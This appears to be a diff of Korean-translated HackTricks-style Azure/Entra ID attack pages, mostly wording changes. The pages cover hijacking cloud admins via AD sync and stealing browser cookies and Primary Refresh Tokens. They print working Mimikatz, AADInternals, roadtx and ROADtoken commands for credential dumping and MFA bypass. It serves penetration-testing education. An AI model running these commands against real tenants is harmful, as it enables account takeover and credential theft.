[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)에서 언급된 바와 같이, 온프레미스 AD의 AD 사용자 내에서 **`ProxyAddress`** 값을 변경하여 Entra ID 관리자 사용자의 이메일을 추가하고 AD와 Entra ID의 UPN이 일치하도록 하는 것이 가능했습니다(다시 말해, 이것이 Entra ID입니다), 예를 들어 **`SMTP:admin@domain.onmicrosoft.com`**과 같이. 이렇게 하면 **이 사용자의 동기화를 강제**할 수 있습니다 Entra ID에서 온프레미스 AD로, 따라서 사용자의 비밀번호가 알려져 있다면 Entra ID에서 사용되는 관리자로 **접근할 수 있습니다.**
|
||||
[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)에서 언급된 바와 같이, 온프레미스 AD에서 AD 사용자의 **`ProxyAddress`** 값을 변경하여 Entra ID 관리자 사용자의 이메일을 추가하고 AD와 Entra ID의 UPN이 일치하도록 하는 것이 가능했습니다(다시 말해, 이것이 Entra ID입니다), 예를 들어 **`SMTP:admin@domain.onmicrosoft.com`**과 같이. 이렇게 하면 **이 사용자의 동기화를 강제**할 수 있습니다 Entra ID에서 온프레미스 AD로, 따라서 사용자의 비밀번호가 알려져 있다면 Entra ID에서 사용된 관리자로 **접근할 수 있습니다.**
|
||||
|
||||
Entra ID에서 온프레미스 AD로 새 사용자를 동기화하기 위한 요구 사항은 다음과 같습니다:
|
||||
|
||||
- 온프레미스 AD에서 사용자의 속성을 제어하거나 새 사용자를 생성할 수 있는 권한이 있어야 합니다.
|
||||
- Entra ID에서 온프레미스 AD로 동기화할 클라우드 전용 사용자를 알아야 합니다.
|
||||
- 온프레미스 AD에서 사용자의 속성을 제어할 수 있어야 합니다(또는 새 사용자를 생성할 수 있는 권한이 있어야 함)
|
||||
- Entra ID에서 온프레미스 AD로 동기화할 클라우드 전용 사용자를 알아야 합니다
|
||||
- **하드 매치**를 수행하기 위해 Entra ID 사용자에서 온프레미스 AD 사용자로 immutableID 속성을 변경할 수 있어야 할 수도 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
@@ -22,4 +22,4 @@ Entra ID에서 온프레미스 AD로 새 사용자를 동기화하기 위한 요
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
Azure PowerShell 또한 로컬에서 접근할 수 있는 토큰과 민감한 데이터를 저장합니다:
|
||||
|
||||
1. **Access Tokens**: `C:\Users\<username>\.Azure`에 위치한 `TokenCache.dat`에 평문으로 저장됩니다.
|
||||
2. **Service Principal Secrets**: 이는 `AzureRmContext.json`에 암호화되지 않은 상태로 저장됩니다.
|
||||
2. **Service Principal Secrets**: 이는 `AzureRmContext.json`에 암호화되지 않은 채로 저장됩니다.
|
||||
3. **Token Saving Feature**: 사용자는 `Save-AzContext` 명령을 사용하여 토큰을 지속적으로 저장할 수 있으며, 이는 무단 접근을 방지하기 위해 신중하게 사용해야 합니다.
|
||||
|
||||
### Automatic Tools to find them
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 왜 쿠키인가?
|
||||
## 왜 쿠키인가요?
|
||||
|
||||
브라우저 **쿠키**는 **인증 및 MFA를 우회하는** 훌륭한 메커니즘입니다. 사용자가 이미 애플리케이션에 인증되었기 때문에, 세션 **쿠키**는 재인증 없이 해당 사용자로서 **데이터에 접근하는** 데 사용될 수 있습니다.
|
||||
브라우저 **쿠키**는 **인증 및 MFA를 우회하는** 훌륭한 메커니즘입니다. 사용자가 이미 애플리케이션에서 인증을 받았기 때문에, 세션 **쿠키**를 사용하여 재인증 없이 해당 사용자로서 **데이터에 접근**할 수 있습니다.
|
||||
|
||||
**브라우저 쿠키가 어디에 위치하는지** 확인할 수 있습니다:
|
||||
|
||||
@@ -14,19 +14,19 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
## 공격
|
||||
|
||||
도전적인 부분은 이러한 **쿠키가 사용자**를 위해 Microsoft 데이터 보호 API (**DPAPI**)로 **암호화되어** 있다는 것입니다. 이는 쿠키가 속한 사용자와 관련된 암호화 [키를 사용하여](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 암호화됩니다. 이에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
|
||||
도전적인 부분은 이러한 **쿠키가 사용자**를 위해 Microsoft 데이터 보호 API (**DPAPI**)로 **암호화되어 있다는** 것입니다. 이는 쿠키가 속한 사용자와 관련된 암호화된 [키를 사용하여](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 암호화됩니다. 이에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
{{#endref}}
|
||||
|
||||
Mimikatz를 사용하면, 이 명령어로 **사용자의 쿠키를 추출할 수** 있습니다:
|
||||
Mimikatz를 사용하면, 이 명령어로 **사용자의 쿠키를 추출**할 수 있습니다.
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
Azure에서는 **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, **`ESTSAUTHLIGHT`**를 포함한 인증 쿠키에 주의해야 합니다. 이는 사용자가 최근에 Azure에서 활동했음을 나타냅니다.
|
||||
|
||||
login.microsoftonline.com으로 이동하여 **`ESTSAUTHPERSISTENT`**(“Stay Signed In” 옵션으로 생성됨) 또는 **`ESTSAUTH`** 쿠키를 추가하면 인증됩니다.
|
||||
login.microsoftonline.com으로 이동하여 쿠키 **`ESTSAUTHPERSISTENT`**(“Stay Signed In” 옵션으로 생성됨) 또는 **`ESTSAUTH`**를 추가하면 인증됩니다.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## What is a Primary Refresh Token (PRT)?
|
||||
|
||||
A **Primary Refresh Token (PRT)**는 Azure AD (Entra ID) 인증에 사용되는 장기 생명 주기의 리프레시 토큰으로, Kerberos TGT와 유사합니다. 이는 Azure AD에 가입된 장치에서 사용자 로그인이 이루어질 때 발급되며, 자격 증명을 다시 요청하지 않고도 다양한 애플리케이션에 대한 액세스 토큰을 요청하는 데 사용될 수 있습니다. 각 PRT는 **세션 키**(소유 증명 키라고도 함)와 함께 제공됩니다. 이는 요청에 서명하고 클라이언트가 PRT를 보유하고 있음을 증명하는 데 사용되는 대칭 키입니다. PRT 자체는 불투명하고 암호화된 블롭(클라이언트가 읽을 수 없음)이며, 세션 키는 토큰 요청 시 PRT를 포함하는 JWT를 **서명**하는 데 사용됩니다. 다시 말해, PRT만 보유하는 것으로는 충분하지 않으며, 공격자는 합법성을 증명하기 위해 세션 키가 필요합니다. 이는 Kerberos TGT와 그 세션 키가 모두 필요하다는 것과 유사합니다.
|
||||
A **Primary Refresh Token (PRT)**는 Azure AD (Entra ID) 인증에 사용되는 장기 생명 주기 리프레시 토큰으로, Kerberos TGT에 비유할 수 있습니다. 이는 Azure AD에 가입된 장치에서 사용자 로그인이 이루어질 때 발급되며, 자격 증명을 다시 입력하지 않고도 다양한 애플리케이션에 대한 액세스 토큰을 요청하는 데 사용될 수 있습니다. 각 PRT는 **세션 키**(소유 증명 키라고도 함)와 함께 제공됩니다. 이는 요청에 서명하고 클라이언트가 PRT를 보유하고 있음을 증명하는 데 사용되는 대칭 키입니다. PRT 자체는 불투명하고 암호화된 블롭(클라이언트가 읽을 수 없음)이며, 세션 키는 토큰 요청 시 PRT를 포함하는 JWT를 **서명**하는 데 사용됩니다. 다시 말해, PRT만으로는 충분하지 않으며, 공격자는 합법성을 증명하기 위해 세션 키가 필요합니다. 이는 Kerberos TGT와 그 세션 키가 모두 필요하다는 점과 유사합니다.
|
||||
|
||||
Windows에서는 PRT와 세션 키가 CloudAP 플러그인을 통해 LSASS 프로세스에 캐시됩니다. 장치에 **TPM**(신뢰할 수 있는 플랫폼 모듈)이 있는 경우, Azure AD는 추가 보안을 위해 키를 TPM에 바인딩합니다. 이는 TPM이 장착된 장치에서 세션 키가 TPM 내에 저장되거나 사용되어 일반적인 상황에서 메모리에서 직접 읽을 수 없음을 의미합니다. TPM이 없는 경우(예: 많은 VM 또는 구형 시스템) 키는 소프트웨어에 보관되며 DPAPI 암호화로 보호됩니다. 두 경우 모두, 관리 권한이나 코드 실행 권한이 있는 공격자는 **메모리에서 PRT와 세션 키를 덤프**하려고 시도할 수 있으며, 이를 사용하여 클라우드에서 사용자를 가장할 수 있습니다. 일반적인 리프레시 토큰(일반적으로 애플리케이션 특정)과 달리, PRT는 더 넓은 범위를 가지며, 장치가 거의 모든 Entra ID 통합 리소스나 서비스에 대한 토큰을 요청할 수 있도록 합니다.
|
||||
|
||||
@@ -63,13 +63,13 @@ dsregcmd /status
|
||||
```
|
||||
## PRT 전달
|
||||
|
||||
[이 게시물](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에 따르면 **TPM 바인딩이 없는** Windows 장치에서 PRT와 그 세션 키는 LSASS(CloudAP 플러그인)에 존재합니다. 해당 장치에서 로컬 관리자/SYSTEM 권한을 가지고 있으면 PRT 블롭과 DPAPI로 암호화된 세션 키를 **LSASS에서 읽고, DPAPI를 통해 세션 키를 복호화하며, 서명 키를 유도**하여 유효한 PRT 쿠키(`x‑ms‑RefreshTokenCredential`)를 생성할 수 있습니다. PRT와 그 세션 키가 모두 필요하며, PRT 문자열만으로는 충분하지 않습니다.
|
||||
Windows 장치에서 **TPM 바인딩 없이** [이 게시물](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에 따르면, PRT와 그 세션 키는 LSASS(CloudAP 플러그인)에 존재합니다. 해당 장치에서 로컬 관리자/SYSTEM 권한을 가진 경우, PRT 블롭과 DPAPI로 암호화된 세션 키를 **LSASS에서 읽고, DPAPI를 통해 세션 키를 복호화하며, 서명 키를 유도**하여 유효한 PRT 쿠키(`x‑ms‑RefreshTokenCredential`)를 생성할 수 있습니다. PRT와 그 세션 키가 모두 필요하며, PRT 문자열만으로는 충분하지 않습니다.
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. **PRT(Primary Refresh Token)는 LSASS(로컬 보안 권한 하위 시스템 서비스)에서 추출되어 이후 사용을 위해 저장됩니다.**
|
||||
2. **세션 키가 다음으로 추출됩니다.** 이 키는 처음 발급된 후 로컬 장치에 의해 다시 암호화되므로 DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI(데이터 보호 API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 및 그 응용에 대한 이해는 [Pass-the-cookie 공격](az-pass-the-cookie.md)을 참조하십시오.
|
||||
3. 세션 키 복호화 후, **PRT에 대한 유도된 키와 컨텍스트가 얻어집니다.** 이는 **PRT 쿠키 생성에 필수적입니다.** 특히, 유도된 키는 쿠키를 구성하는 JWT(제이슨 웹 토큰)에 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan이 제공하였으며, [여기](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에서 확인할 수 있습니다.
|
||||
1. **PRT(Primary Refresh Token)는 LSASS**(로컬 보안 권한 하위 시스템 서비스)에서 추출되어 이후 사용을 위해 저장됩니다.
|
||||
2. **세션 키가 다음으로 추출됩니다**. 이 키는 처음 발급된 후 로컬 장치에 의해 다시 암호화되므로, DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI(데이터 보호 API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 및 그 응용에 대한 이해는 [Pass-the-cookie attack](az-pass-the-cookie.md)를 참조하십시오.
|
||||
3. 세션 키 복호화 후, **PRT에 대한 유도된 키와 컨텍스트가 얻어집니다**. 이는 **PRT 쿠키 생성에 필수적입니다**. 특히, 유도된 키는 쿠키를 구성하는 JWT(제이슨 웹 토큰)에 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan이 제공하였으며, [여기](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에서 확인할 수 있습니다.
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
@@ -90,13 +90,13 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PowerShell version
|
||||
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
|
||||
```
|
||||
`token::elevate`는 SYSTEM을 가장하고, `dpapi::cloudapkd` 명령어는 `/unprotect`와 함께 제공된 KeyValue blob을 해독하기 위해 DPAPI 마스터 키를 사용합니다. 이는 평문 세션 키와 서명에 사용된 관련된 파생 키 및 컨텍스트를 생성합니다:
|
||||
`token::elevate`는 SYSTEM을 가장하고, `dpapi::cloudapkd` 명령어는 `/unprotect`와 함께 제공된 KeyValue blob을 복호화하기 위해 DPAPI 마스터 키를 사용합니다. 이는 평문 세션 키와 서명에 사용된 관련된 파생 키 및 컨텍스트를 생성합니다:
|
||||
- **Clear key** – 평문으로 된 32바이트 세션 키(16진수 문자열로 표현됨).
|
||||
- **Derived Key** – 세션 키와 컨텍스트 값에서 파생된 32바이트 키(자세한 내용은 아래 참조).
|
||||
- **Derived Key** – 세션 키와 컨텍스트 값에서 파생된 32바이트 키(아래에서 더 설명).
|
||||
- **Context** – PRT 쿠키의 서명 키를 파생할 때 사용된 24바이트 랜덤 컨텍스트.
|
||||
|
||||
> [!NOTE]
|
||||
> 사용자를 가장하는 데 이 방법이 작동하지 않는 경우, **`AADInternals`**를 사용하여 다음 섹션을 확인하십시오.
|
||||
> 사용자를 가장하는 데 이 방법이 작동하지 않으면 **`AADInternals`**를 사용하는 다음 섹션을 확인하세요.
|
||||
|
||||
그런 다음, mimikatz를 사용하여 유효한 PRT 쿠키를 생성할 수도 있습니다:
|
||||
```bash
|
||||
@@ -105,13 +105,13 @@ Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<Encrypte
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz는 "Signature with key"라는 줄 다음에 서명된 JWT(`PRT cookie`)를 출력하며, 이 JWT는 PRT를 포함하고 파생된 키를 사용하여 서명됩니다. 이 JWT는 복사하여 웹 세션에서 사용할 수 있습니다. 예를 들어, 공격자는 브라우저를 열고 `login.microsoftonline.com`으로 이동한 다음, 이 JWT 값을 가진 `x-ms-RefreshTokenCredential`이라는 이름의 쿠키를 설정할 수 있습니다. 브라우저가 새로 고침되거나 탐색할 때 Azure AD는 세션을 인증된 것으로 간주하며(PRT 쿠키가 SSO가 발생한 것처럼 제시됨), 지정된 리소스에 대한 권한 부여 코드 또는 액세스 토큰을 발급합니다. 실제로는 Office 365 또는 Azure 포털과 같은 리소스로 이동하게 되며, 유효한 PRT 쿠키가 존재하면 Azure AD는 추가 로그인 없이 접근을 허용합니다(MFA를 우회하며, PRT는 이미 인증되었습니다).
|
||||
Mimikatz는 "Signature with key"라는 줄 뒤에 서명된 JWT(즉, `PRT cookie`)를 출력하며, 이 JWT는 PRT를 포함하고 파생된 키를 사용하여 서명됩니다. 이 JWT는 복사한 후 웹 세션에서 사용할 수 있습니다. 예를 들어, 공격자는 브라우저를 열고 `login.microsoftonline.com`으로 이동한 다음, 이 JWT 값을 가진 `x-ms-RefreshTokenCredential`이라는 이름의 쿠키를 설정할 수 있습니다. 브라우저가 새로 고침되거나 탐색할 때 Azure AD는 세션을 인증된 것으로 간주하며(PRT 쿠키가 SSO가 발생한 것처럼 제시됨), 지정된 리소스에 대한 권한 부여 코드 또는 액세스 토큰을 발급합니다. 실제로는 Office 365 또는 Azure 포털과 같은 리소스로 이동하게 되며, 유효한 PRT 쿠키가 존재하면 Azure AD는 추가 로그인 없이 접근을 허용합니다(MFA를 우회하며, PRT는 이미 인증되었습니다).
|
||||
|
||||
또한 **`roadtx`** 및 **`roadrecon`**을 PRT 쿠키의 PRT와 함께 사용하여 사용자를 가장할 수 있습니다 *(TODO: roadtx/roadrecon을 사용하여 PRT에서 자격 증명을 얻기 위한 정확한 명령어를 찾기)*.
|
||||
|
||||
### Mimikatz + AADInternals
|
||||
|
||||
**`AADInternals`** PowerShell 모듈은 이전에 얻은 PRT 및 세션 키와 함께 사용하여 유효한 PRT 토큰을 생성하는 데 사용할 수 있습니다. 이는 nonce가 있는 새로운 PRT 토큰을 얻는 프로세스를 자동화하는 데 유용하며, Azure AD Graph API 또는 기타 리소스에 대한 액세스 토큰을 가져오는 데 사용할 수 있습니다:
|
||||
**`AADInternals`** PowerShell 모듈은 이전에 얻은 PRT 및 세션 키와 함께 사용하여 유효한 PRT 토큰을 생성하는 데 사용할 수 있습니다. 이는 nonce가 포함된 새로운 PRT 토큰을 얻는 프로세스를 자동화하는 데 유용하며, Azure AD Graph API 또는 기타 리소스에 대한 액세스 토큰을 가져오는 데 사용할 수 있습니다:
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
@@ -143,7 +143,7 @@ Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- 이제 `roadtx browserprtauth`를 사용하여 대화형 브라우저로 **토큰을 요청**할 수 있습니다. `roadtx describe` 명령을 사용하면 액세스 토큰에 MFA 클레임이 포함되어 있음을 알 수 있습니다. 이는 이 경우 사용한 PRT에도 MFA 클레임이 포함되어 있기 때문입니다.
|
||||
- 이제 `roadtx browserprtauth`를 사용하여 인터랙티브 브라우저로 **토큰을 요청**할 수 있습니다. `roadtx describe` 명령을 사용하면 액세스 토큰에 MFA 클레임이 포함되어 있음을 알 수 있습니다. 이 경우 사용한 PRT에도 MFA 클레임이 포함되어 있습니다.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
@@ -164,13 +164,13 @@ roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <deri
|
||||
|
||||
최신 Windows는 내장된 **토큰 브로커** 스택을 통해 클라우드 인증을 처리하며, 여기에는 사용자 모드와 LSASS(로컬 보안 권한) 모두의 구성 요소가 포함됩니다. 이 아키텍처의 주요 구성 요소는 다음과 같습니다:
|
||||
|
||||
- **LSASS CloudAP 플러그인:** 장치가 Azure AD에 가입되면, LSASS는 PRT 및 토큰 요청을 관리하는 클라우드 인증 패키지(예: `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`)를 로드합니다. LSASS(시스템으로 실행됨)는 PRT 저장, 갱신 및 사용을 조정하며, TPM과 인터페이스하여 암호화 작업(예: 세션 키로 PRT 챌린지를 서명하는 작업)을 수행합니다.
|
||||
- **LSASS CloudAP 플러그인:** 장치가 Azure AD에 가입되면, LSASS는 PRT 및 토큰 요청을 관리하는 클라우드 인증 패키지(예: `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`)를 로드합니다. LSASS(시스템으로 실행됨)는 PRT 저장, 갱신 및 사용을 조정하고, TPM과 인터페이스하여 암호화 작업(예: 세션 키로 PRT 챌린지를 서명하는 작업)을 수행합니다.
|
||||
|
||||
- **웹 계정 관리자(WAM):** Windows 웹 계정 관리자는 사용자 모드 프레임워크( COM/WinRT API를 통해 접근 가능)로, 애플리케이션이나 브라우저가 자격 증명을 요청하지 않고 클라우드 계정에 대한 토큰을 요청할 수 있게 합니다. WAM은 사용자 애플리케이션과 보안 LSASS/TPM 지원 PRT 간의 브로커 역할을 합니다. 예를 들어, Microsoft의 MSAL 라이브러리와 특정 OS 구성 요소는 WAM을 사용하여 로그인한 사용자의 PRT를 사용하여 조용히 토큰을 획득합니다.
|
||||
- **웹 계정 관리자(WAM):** Windows 웹 계정 관리자는 사용자 모드 프레임워크( COM/WinRT API를 통해 접근 가능)로, 애플리케이션이나 브라우저가 자격 증명을 요청하지 않고 클라우드 계정에 대한 토큰을 요청할 수 있게 합니다. WAM은 사용자 애플리케이션과 보안 LSASS/TPM 기반 PRT 간의 브로커 역할을 합니다. 예를 들어, Microsoft의 MSAL 라이브러리와 특정 OS 구성 요소는 WAM을 사용하여 로그인한 사용자의 PRT를 사용해 조용히 토큰을 획득합니다.
|
||||
|
||||
- **BrowserCore.exe 및 토큰 브로커 COM 인터페이스:** 브라우저 SSO를 위해 Windows는 **BrowserCore.exe**라는 구성 요소를 포함합니다(*Windows Security\BrowserCore* 아래에 위치). 이는 브라우저(Edge, Chrome 확장을 통해 등)가 Azure AD 로그인을 위한 PRT 파생 SSO 토큰을 얻기 위해 사용하는 네이티브 메시징 호스트입니다. 내부적으로 BrowserCore는 `MicrosoftAccountTokenProvider.dll`에서 제공하는 COM 객체를 활용하여 PRT 기반 쿠키/토큰을 검색합니다. 본질적으로 이 COM 인터페이스는 사용자가 유효한 PRT를 LSASS에 가지고 있는 경우, 사용자가 실행 중인 모든 프로세스가 SSO 토큰을 얻기 위해 호출할 수 있는 1차 "토큰 브로커" API입니다.
|
||||
|
||||
Azure AD에 가입된 사용자가 리소스(예: Azure Portal)에 접근하려고 할 때, 흐름은 일반적으로: 애플리케이션이 WAM 또는 BrowserCore의 COM 인터페이스를 호출하고, 이는 다시 LSASS와 통신합니다. LSASS는 PRT 및 세션 키(TPM에 의해 보호됨)를 사용하여 **SSO 토큰** -- 종종 **PRT 쿠키**라고 불리는 -- 을 생성한 후, 이를 애플리케이션이나 브라우저에 반환합니다. PRT 쿠키는 암호화된 PRT와 nonce를 포함하는 특수 JWT로, PRT의 세션 키에서 파생된 키로 서명됩니다. 이 쿠키는 Azure AD에 전송되어(`x-ms-RefreshTokenCredential` 헤더에) 장치와 사용자가 유효한 PRT를 보유하고 있음을 증명하며, Azure AD가 다양한 애플리케이션에 대한 표준 OAuth 갱신 및 액세스 토큰을 발급할 수 있게 합니다. 특히, PRT에 존재하는 모든 다단계 인증(MFA) 주장은 이 SSO 프로세스를 통해 얻은 토큰에 포함되므로, PRT 파생 토큰은 MFA 보호 리소스를 충족할 수 있습니다.
|
||||
Azure AD에 가입된 사용자가 리소스(예: Azure Portal)에 접근하려고 할 때, 흐름은 일반적으로: 애플리케이션이 WAM 또는 BrowserCore의 COM 인터페이스를 호출하고, 이는 다시 LSASS와 통신합니다. LSASS는 PRT 및 세션 키(TPM에 의해 보호됨)를 사용하여 **SSO 토큰** -- 종종 **PRT 쿠키**라고 불리는 -- 을 생성하고, 이를 애플리케이션이나 브라우저에 반환합니다. PRT 쿠키는 암호화된 PRT와 nonce를 포함하는 특별한 JWT로, PRT의 세션 키에서 파생된 키로 서명됩니다. 이 쿠키는 Azure AD에 전송되어(`x-ms-RefreshTokenCredential` 헤더에) 장치와 사용자가 유효한 PRT를 보유하고 있음을 증명하며, Azure AD가 다양한 애플리케이션에 대한 표준 OAuth 갱신 및 액세스 토큰을 발급할 수 있게 합니다. 특히, PRT에 존재하는 모든 다단계 인증(MFA) 주장은 이 SSO 프로세스를 통해 얻은 토큰에 포함되므로, PRT에서 파생된 토큰은 MFA 보호 리소스를 충족할 수 있습니다.
|
||||
|
||||
### 사용자 수준 토큰 탈취 (비관리자)
|
||||
|
||||
@@ -188,9 +188,9 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
|
||||
ROADtoken은 올바른 디렉토리에서 **`BrowserCore.exe`**를 실행하고 이를 사용하여 **PRT 쿠키를 얻습니다**. 이 쿠키는 이후 ROADtools와 함께 사용되어 인증하고 **지속적인 리프레시 토큰을 얻는 데** 사용될 수 있습니다.
|
||||
ROADtoken은 올바른 디렉토리에서 **`BrowserCore.exe`**를 실행하고 이를 사용하여 **PRT 쿠키를 얻습니다**. 이 쿠키는 ROADtools와 함께 사용하여 인증하고 **지속적인 리프레시 토큰을 얻는 데** 사용할 수 있습니다.
|
||||
|
||||
유효한 PRT 쿠키를 생성하기 위해 필요한 첫 번째 것은 nonce입니다.\
|
||||
유효한 PRT 쿠키를 생성하려면 가장 먼저 필요한 것은 nonce입니다.\
|
||||
다음과 같이 얻을 수 있습니다:
|
||||
```bash
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
@@ -211,7 +211,7 @@ AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
그런 다음 [**roadtoken**](https://github.com/dirkjanm/ROADtoken)를 사용하여 새로운 PRT를 얻을 수 있습니다(사용자의 프로세스에서 도구를 실행하여 공격합니다):
|
||||
그런 다음 [**roadtoken**](https://github.com/dirkjanm/ROADtoken)를 사용하여 새로운 PRT를 얻을 수 있습니다(공격할 사용자의 프로세스에서 도구를 실행):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
@@ -244,7 +244,7 @@ execute-assembly listwamaccounts.exe
|
||||
```
|
||||
*(WAM을 통해 로그인한 Azure AD 계정 목록; 토큰 대상을 식별)*
|
||||
|
||||
- **일반적인 예제 (MSAL을 사용한 PowerShell)**:
|
||||
- **일반적인 예 (MSAL을 사용한 PowerShell)**:
|
||||
```powershell
|
||||
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
|
||||
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
|
||||
@@ -264,7 +264,7 @@ Admin/SYSTEM은 다른 사용자의 실행 중인 세션을 가장하여 Browser
|
||||
|
||||
### **직접 LSASS 및 토큰 브로커 상호작용 (고급)**
|
||||
|
||||
관리자는 여전히 LSASS와 작업하여 PRT를 남용할 수 있습니다: 예를 들어, 관리자는 LSASS에 코드를 주입하거나 내부 CloudAP 함수를 호출하여 LSASS가 토큰을 생성하도록 유도할 수 있습니다. Dirk-jan의 연구에 따르면 관리자는 “crypto API를 사용하여 LSASS에서 PRT 키와 상호작용할 수 있습니다.” 실제로 이는 LSASS의 자체 기능(가능한 경우 API 후킹 또는 RPC와 같은 기술을 통해)을 사용하여 PRT 쿠키를 생성하는 것을 의미할 수 있습니다. 또 다른 접근 방식은 세션 키가 메모리에 나타날 수 있는 모든 창을 악용하는 것입니다 – 예를 들어, PRT 갱신 또는 장치 등록 순간에 사용을 위해 암호화되지 않은 경우입니다. 이러한 공격은 상당히 복잡하고 상황에 따라 다릅니다. 보다 간단한 관리자 전술은 기존 토큰 핸들 또는 캐시를 남용하는 것입니다: LSASS는 메모리에서 최근에 발급된 새로 고침 토큰을 캐시합니다(DPAPI로 암호화됨). 결단력 있는 SYSTEM 공격자는 이러한 DPAPI로 보호된 토큰을 추출하려고 시도할 수 있습니다(관리자가 얻을 수 있는 사용자의 마스터 키를 사용하여) 특정 애플리케이션에 대한 새로 고침 토큰을 직접 훔치기 위해. 그러나 가장 쉽고 일반적인 방법은 가장하고 문서화된 토큰 브로커 인터페이스를 사용하는 것입니다. 이는 Azure AD가 모든 적절한 클레임을 가진 새 토큰을 발급하도록 보장하기 때문입니다.
|
||||
관리자는 여전히 LSASS와 함께 작업하여 PRT를 남용할 수 있습니다: 예를 들어, 관리자는 LSASS에 코드를 주입하거나 내부 CloudAP 함수를 호출하여 LSASS가 토큰을 생성하도록 유도할 수 있습니다. Dirk-jan의 연구에 따르면 관리자는 “crypto API를 사용하여 LSASS에서 PRT 키와 상호작용할 수 있습니다.” 실제로 이는 LSASS의 자체 기능(가능한 경우 API 후킹 또는 RPC와 같은 기술을 통해)을 사용하여 PRT 쿠키를 생성하는 것을 의미할 수 있습니다. 또 다른 접근 방식은 세션 키가 메모리에 나타날 수 있는 모든 창을 악용하는 것입니다 – 예를 들어, PRT 갱신 또는 장치 등록 순간에 사용을 위해 암호화되지 않은 경우입니다. 이러한 공격은 상당히 복잡하고 상황에 따라 다릅니다. 보다 간단한 관리자 전술은 기존 토큰 핸들 또는 캐시를 남용하는 것입니다: LSASS는 메모리에서 최근에 발급된 새로 고침 토큰을 캐시합니다(DPAPI로 암호화됨). 결단력 있는 SYSTEM 공격자는 이러한 DPAPI로 보호된 토큰을 추출하려고 시도할 수 있습니다(관리자가 얻을 수 있는 사용자의 마스터 키를 사용하여) 특정 애플리케이션에 대한 새로 고침 토큰을 직접 훔치기 위해. 그러나 가장 쉽고 일반적인 방법은 가장하고 문서화된 토큰 브로커 인터페이스를 사용하는 것입니다. 이는 Azure AD가 모든 적절한 클레임을 가진 새 토큰을 발급하도록 보장하기 때문입니다.
|
